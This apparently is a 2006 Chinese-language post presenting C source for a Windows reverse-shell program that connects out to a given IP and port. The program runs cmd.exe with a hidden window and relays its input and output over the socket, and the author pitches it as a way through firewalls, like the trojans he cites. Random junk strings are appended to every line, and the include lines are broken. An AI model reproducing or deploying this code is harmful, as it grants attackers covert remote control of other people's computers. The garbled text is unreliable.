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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #.^A5`k  
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/* ============================== W2F*+M  
Rebound port in Windows NT #XPY\n^k  
By wind,2006/7 7dbGUbT  
===============================*/ ?(d<n   
#include oi:!YVc  
#include 6w Y6* R  
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#pragma comment(lib,"wsock32.lib") KJ;;825?  
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void OutputShell(); [Y_CRxa\u  
SOCKET sClient; >q7/zl  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; mxfmK +'_  
FLzC kzJ:6  
void main(int argc,char **argv) wYAi-gdOi  
{ K~ob]I<GiB  
WSADATA stWsaData; +<1MY'>y  
int nRet; mW&hUP Rx  
SOCKADDR_IN stSaiClient,stSaiServer; 6z keWR  
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if(argc != 3) E6zSMl5b  
{ b>Em~NMu_  
printf("Useage:\n\rRebound DestIP DestPort\n"); L.tW]43K  
return; f5ttQ&@FF  
} N0_@=uE  
9H#;i]t&  
WSAStartup(MAKEWORD(2,2),&stWsaData); }@H(z  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); me@xl }  
#<*=)[  
stSaiClient.sin_family = AF_INET; wX Kg^%t\  
stSaiClient.sin_port = htons(0); h1AZ+9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); B9h'}460H  
Yw_^]:~  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) dn}'B%  
{ QopA'm  
printf("Bind Socket Failed!\n"); w1J%%//(h  
return; &A!?:?3%O  
} xjK@Q1MJ  
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stSaiServer.sin_family = AF_INET; e WWtMnq  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *P0sl( &  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AREpZ2GiU  
e[l#r>NT  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (R|Ftjs .  
{ MlH0  
printf("Connect Error!"); 1 ` ={* *  
return; VteMsL/H  
} YM.Q?p4g  
OutputShell(); N,ysv/zq7  
} -4!S?rHwd+  
GMW,+  
void OutputShell() NPjNkpWm&=  
{ }$X/HK  
char szBuff[1024]; &X&msEM  
SECURITY_ATTRIBUTES stSecurityAttributes;  ;U<}2M!g  
OSVERSIONINFO stOsversionInfo; cl1>S3  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; TK s l.|  
STARTUPINFO stStartupInfo; +b_o2''  
char *szShell; s)9d\{  
PROCESS_INFORMATION stProcessInformation; O~DdMW  
unsigned long lBytesRead; 6O\a\z  
h"ZR`?h  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Mp,aQ0bNS  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !si}m~K!_  
stSecurityAttributes.lpSecurityDescriptor = 0; Q.i_?a  
stSecurityAttributes.bInheritHandle = TRUE; @aY>pr5!  
9gQ ]!Oq  
T7# }& >  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,%<ICusZ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ZZ2vdy38  
JS2h/Y$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Zt/4|&w  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m4x8W2q  
stStartupInfo.wShowWindow = SW_HIDE; |{V@t1`  
stStartupInfo.hStdInput = hReadPipe; CKy/gTN  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WWjc.A$  
v\3$$T)  
GetVersionEx(&stOsversionInfo); W'"p:Uh q  
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switch(stOsversionInfo.dwPlatformId) UiQF4Uc"  
{ 05s{Z.aK  
case 1: Y>Ju$i  
szShell = "command.com"; ~sMEfY,p  
break; ')zf8>,  
default: S'}pUGDO  
szShell = "cmd.exe"; RH~I/4e  
break; t~_bquGk  
} h[i@c`3 /2  
12LGWhDp  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); nxhn|v  
^?R8>97_?  
send(sClient,szMsg,77,0); 8fWk C<f}  
while(1) \V%l.P4>e  
{ m<I>NYfE  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "1z#6vw5a  
if(lBytesRead) lQKq{WLFx.  
{ WY$c^av<  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); JIU8~D  
send(sClient,szBuff,lBytesRead,0); ZVni'y m  
} ?5j}&Y3  
else QE4TvnhK  
{ )QAS7w#k  
lBytesRead=recv(sClient,szBuff,1024,0); l|sC\;S  
if(lBytesRead<=0) break; RN"Ur'+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (-%1z_@Y  
} 2P,{`O1]  
} uWjEyxPv{  
XOT|:  
return; H>Q X?>j  
}
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